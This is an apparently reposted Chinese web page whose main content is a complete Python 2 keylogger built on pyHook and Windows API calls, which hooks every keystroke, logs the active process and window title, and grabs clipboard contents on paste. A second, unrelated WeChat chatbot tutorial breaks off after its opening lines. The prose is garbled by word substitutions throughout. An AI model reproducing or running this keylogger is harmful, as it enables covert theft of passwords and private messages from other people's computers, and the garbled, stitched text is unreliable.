Python keylogger键盘记录的成果的实现首要操作了pythoncom及pythonhook,然后就是对windows API的各类挪用。Python之以是用起来利便快捷,首要归功于这些复杂的支持库,正所谓"人生苦短,快用Python"。
代码如下:
- # -*- coding: utf-8 -*-
- from ctypes import *
- import pythoncom
- import pyHook
- import win32clipboard
-
- user32 = windll.user32
- kernel32 = windll.kernel32
- psapi = windll.psapi
- current_window = None
-
- #
- def get_current_process():
-
- # 获取最上层的窗口句柄
- hwnd = user32.GetForegroundWindow()
-
- # 获取历程ID
- pid = c_ulong(0)
- user32.GetWindowThreadProcessId(hwnd,byref(pid))
-
- # 将历程ID存入变量中
- process_id = "%d" % pid.value
-
- # 申请内存
- executable = create_string_buffer("x00"*512)
- h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
-
- psapi.GetModuleBaseNameA(h_process,None,byref(executable),512)
-
- # 读取窗口问题
- windows_title = create_string_buffer("x00"*512)
- length = user32.GetWindowTextA(hwnd,byref(windows_title),512)
-
- # 打印
- print
- print "[ PID:%s-%s-%s]" % (process_id,executable.value,windows_title.value)
- print
-
- # 封锁handles
- kernel32.CloseHandle(hwnd)
- kernel32.CloseHandle(h_process)
-
- # 界说击键监听变乱函数
- def KeyStroke(event):
-
- global current_window
-
- # 检测方针窗口是否转移(换了其他窗口就监听新的窗口)
- if event.WindowName != current_window:
- current_window = event.WindowName
- # 函数挪用
- get_current_process()
-
- # 检测击键是否通例按键(非组合键等)
- if event.Ascii > 32 and event.Ascii <127:
- print chr(event.Ascii),
- else:
- # 假如发明Ctrl+v(粘贴)变乱,就把粘贴板内容记录下来
- if event.Key == "V":
- win32clipboard.OpenClipboard()
- pasted_value = win32clipboard.GetClipboardData()
- win32clipboard.CloseClipboard()
- print "[PASTE]-%s" % (pasted_value),
- else:
- print "[%s]" % event.Key,
- # 轮回监听下一个击键变乱
- return True
-
- # 建设并注册hook打点器
- kl = pyHook.HookManager()
- kl.KeyDown = KeyStroke
-
- # 注册hook并执行
- kl.HookKeyboard()
- pythoncom.PumpMessages()
分享七:用Python写一个呆板人陪本身聊谈天吧
用Python写一个呆板人陪本身聊谈天吧。是不是听起来就很酷,用Python说话、itchat库、图灵呆板人就可以轻松实现。
1. 必要的器材
- Python。写代码的器材;
- itchat库。第三方库,用来登录微信,吸取并回覆微信挚友信息;
- 图灵呆板人。第三方接口,我们本次行使的呆板人;
2. 代码如下:
(1) 筹备
(编辑:湖南网)
【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容!
|